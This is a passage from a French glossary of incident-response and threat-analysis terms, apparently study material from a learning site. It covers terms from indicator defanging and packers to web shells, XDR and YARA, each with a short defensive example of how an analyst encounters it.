Un enregistrement de traduction du pare-feu relie une connexion source publique au poste de travail qui l’a initiée.
Neutralisation des indicateurs
La neutralisation des indicateurs modifie le texte d’un indicateur, par exemple en remplaçant https par hxxps, pour réduire le risque de navigation accidentelle lors de son partage.
Un ticket utilise une URL neutralisée tandis que le message original reste disponible dans le stockage des preuves.
Niveau de confiance
Le niveau de confiance exprime à quel point les preuves disponibles étayent un constat, avec les raisons justifiant le niveau élevé, moyen ou faible indiqué.
L’absence d’historique du terminal réduit le niveau de confiance dans un lien proposé, même lorsque la destination semble suspecte.
Nombre magique
Un nombre magique est un motif d’octets reconnaissable utilisé pour identifier un format de fichier, souvent situé près du début du fichier.
Les premiers octets MZ contredisent le nom d’une pièce jointe ressemblant à un document et conduisent à vérifier sa structure d’exécutable.
NXDOMAIN
NXDOMAIN est un code de réponse DNS indiquant que le nom de domaine demandé n’existe pas ; il se distingue d’un délai de connexion dépassé.
Des échecs répétés pour de nombreux noms semblant générés conduisent l’analyste à examiner le processus à l’origine des requêtes.

P

Packer
Un packer transforme un programme par compression ou chiffrement et restaure le code utilisable pendant l’exécution, ce qui rend l’examen statique plus difficile.
Le faible nombre de chaînes, les noms de sections UPX et les importations rares conduisent l’analyste à examiner le comportement dans un bac à sable.
Persistance
La persistance maintient ou restaure l’accès d’un attaquant grâce à des mécanismes qui survivent à des interruptions comme une fermeture de session ou un redémarrage du système.
Une entrée Run et une tâche planifiée pointent toutes deux vers la charge utile, fournissant des déclencheurs de redémarrage distincts.
Port SPAN
Un port SPAN est un port de commutateur configuré pour recevoir des copies du trafic réseau sélectionné à des fins de surveillance et de capture de paquets.
Une destination de mise en miroir chargée perd des copies lorsque le trafic des VLAN sélectionnés dépasse sa capacité de sortie.
Préparation des données avant exfiltration
La préparation des données avant exfiltration rassemble et prépare des données pour un transfert ultérieur, souvent en regroupant des fichiers dans des archives ou en les divisant en parties.
De nouvelles parties d’archive apparaissent dans un dossier temporaire peu avant une connexion sortante volumineuse.
Prévalence
La prévalence mesure l’étendue de la présence d’un fichier ou d’un indicateur observé dans un environnement, ce qui apporte du contexte à son activité locale.
Une empreinte vue sur un poste de travail est comparée aux logiciels présents dans toute l’image de poste approuvée.
Profil de trafic de référence
Un profil de trafic de référence décrit les communications normales d’un hôte ou d’un rôle, notamment les destinations, les volumes et les schémas quotidiens habituels.
Les transferts sortants nocturnes d’un serveur de sauvegarde sont comparés à son propre calendrier plutôt qu’au volume d’un poste de travail.
Pyramide de la douleur
La pyramide de la douleur classe les types d’indicateurs selon l’effort que les attaquants doivent fournir pour les modifier, des empreintes exactes aux outils et techniques.
L’équipe de détection consigne un schéma de processus et de persistance ainsi que l’empreinte actuelle de la charge utile.

Q

Quintuplet (tuple à 5 éléments)
Un quintuplet, ou tuple à 5 éléments, regroupe les adresses IP source et destination, les ports source et destination, ainsi que le protocole de transport utilisé par le trafic réseau.
L’analyste inverse les deux adresses et les deux ports pour trouver l’enregistrement du sens inverse d’un échange TCP.

R

Rançongiciel
Un rançongiciel est un logiciel malveillant qui empêche l’accès à des données ou à des systèmes, généralement par chiffrement, et exige un paiement.
La suppression des sauvegardes suivie de renommages massifs de fichiers et de demandes de rançon déclenche une escalade urgente de l’incident.
RDAP
Le protocole d’accès aux données d’enregistrement, ou RDAP, fournit des informations structurées sur l’enregistrement des domaines et fait autorité pour les domaines génériques de premier niveau.
Une recherche fournit le bureau d’enregistrement et la date de création récente, même si les coordonnées du titulaire sont masquées.
Réassemblage de flux TCP
Le réassemblage de flux TCP reconstitue les octets applicatifs d’un échange TCP afin qu’un analyste puisse le lire dans l’ordre.
Suivre un flux révèle une réponse contenant un exécutable derrière une requête dont l’URL se termine par une extension de page Web.
Règle de détection d’intrusion
Une règle de détection d’intrusion précise les conditions de trafic qui produisent une détection, notamment un protocole, un sens et des vérifications facultatives du contenu ou du flux.
L’analyste lit la condition de flux établi d’une alerte avant de déterminer ce que signifie la correspondance avec le port.
Réputation
La réputation résume les observations ou signalements antérieurs concernant un objet, comme un fichier ou une adresse IP, et doit être interprétée avec les dates et le contexte local.
Un faible nombre de détections est examiné en tenant compte de la première apparition de l’échantillon et de son comportement enregistré.

S

SHA-256
SHA-256 est une fonction de hachage cryptographique qui produit une valeur de 256 bits, écrite avec 64 caractères hexadécimaux, pour identifier le contenu d’un fichier.
L’analyste calcule l’empreinte d’un échantillon exporté et consigne sa valeur à côté des détails de sa collecte.
SNI
L’indication du nom du serveur, ou SNI, indique le nom de serveur demandé dans un Client Hello TLS lorsque ce nom n’est pas protégé par ECH.
Un nom de serveur visible aide à relier une session TLS à un domaine renvoyé précédemment dans les journaux DNS.
SPF
SPF est une méthode d’authentification des courriels qui compare l’adresse IP d’un serveur expéditeur aux expéditeurs autorisés pour le domaine de l’enveloppe.
Un courriel transféré par un relais non répertorié peut échouer à SPF même si le message original était légitime.

T

Table d’importation PE
Une table d’importation PE répertorie les fonctions qu’un exécutable Windows demande à des bibliothèques, fournissant des indices sur ses capacités possibles.
Les importations de mémoire distante et de création de fils d’exécution suggèrent une capacité d’injection à tester dynamiquement.
Tâche cron
Une tâche cron est une commande planifiée sur les systèmes de type Unix, dont les champs temporels indiquent quand un utilisateur ou le système doit l’exécuter.
Une tâche utilisateur inexpliquée télécharge et exécute un script toutes les dix minutes, créant une voie d’exécution répétée.
Tâche planifiée
Une tâche planifiée configure l’exécution d’un programme à une heure, à un intervalle ou lors d’un événement, permettant une automatisation légitime ou une voie de persistance.
Une tâche de mise à jour d’apparence fiable lance en réalité un exécutable stocké dans un dossier public.
Tampon circulaire
Un tampon circulaire stocke les données de capture dans un ensemble limité de fichiers utilisés à tour de rôle, en remplaçant les données les plus anciennes lorsque l’espace est réutilisé.
L’équipe exporte l’intervalle de l’incident avant que le trafic continu n’écrase cette partie du tampon.
TAP réseau
Un TAP réseau est un dispositif passif qui copie le trafic d’une liaison vers un équipement de surveillance, dont la capacité doit suffire aux sens copiés.
Le capteur utilise des flux de réception séparés afin que le trafic simultané dans les deux sens reste dans la capacité du système de capture.
Tunnel DNS
Un tunnel DNS transporte des données dans des messages DNS, souvent dans des parties encodées de noms de requête qui répartissent un transfert plus important entre plusieurs requêtes.
Un hôte envoie de nombreux sous-domaines longs et distincts sous un même domaine parent pendant une période de transfert sortant inhabituelle.
Typosquattage
Le typosquattage consiste à enregistrer un domaine mal orthographié ou visuellement similaire pour usurper l’identité d’une autre organisation ou exploiter les erreurs de saisie.
L’analyste repère un chiffre remplaçant une lettre dans le domaine du fournisseur apparent.

U

Unité systemd
Une unité systemd est un objet de configuration permettant de gérer des ressources Linux comme les services ; les fichiers d’unité définissent la façon dont un service démarre.
L’analyste compare le programme et les paramètres de démarrage d’un nouveau fichier d’unité à la référence de fonctionnement approuvée du serveur.
UTC
Le temps universel coordonné, ou UTC, fournit la référence temporelle commune utilisée pour comparer des événements enregistrés dans différents fuseaux horaires locaux.
Un export enregistré en UTC+2 est converti avant de comparer l’heure de démarrage de son processus à un événement du pare-feu.

V

Vrai positif
Un vrai positif est une détection correcte d’une activité malveillante, étayée par le comportement observé et le contexte de l’investigation.
Le programme de téléchargement détecté est relié à l’exécution non approuvée d’un document et à une persistance nouvellement établie.
Vrai positif bénin
Un vrai positif bénin détecte correctement le comportement visé lorsque ce comportement est autorisé, par exemple lors d’un test de sécurité approuvé.
Une alerte de balayage est correcte et un calendrier de tests de sécurité confirme que le scanneur observé était approuvé.

W

Web shell
Un web shell est un code côté serveur contrôlé par un attaquant qui permet l’exécution de commandes ou l’accès à distance par l’intermédiaire d’un serveur Web.
Un processus de serveur Web qui lance un interpréteur de commandes conduit à examiner les fichiers du serveur récemment modifiés.

X

XDR
La détection et réponse étendues met en corrélation les preuves des terminaux avec des sources comme la télémétrie réseau, de messagerie, d’identité et du cloud.
La plateforme rassemble une alerte de messagerie et les événements d’exécution de l’hôte destinataire dans une même investigation.

Y

YARA
YARA est un langage de règles qui recherche des correspondances dans les fichiers ou la mémoire à l’aide de chaînes, de motifs d’octets et de conditions logiques définis par un analyste.
Une règle exige à la fois une signature d’exécutable au début et deux chaînes intégrées distinctives.

À propos de cette unité

Par StudeliSignaler une erreur

Crée ton propre Matériel d'Étude

Transforme tes notes, diapos et documents en Guides d'Étude, Questions Pratiques, Flashcards et 6 autres outils.

Commencer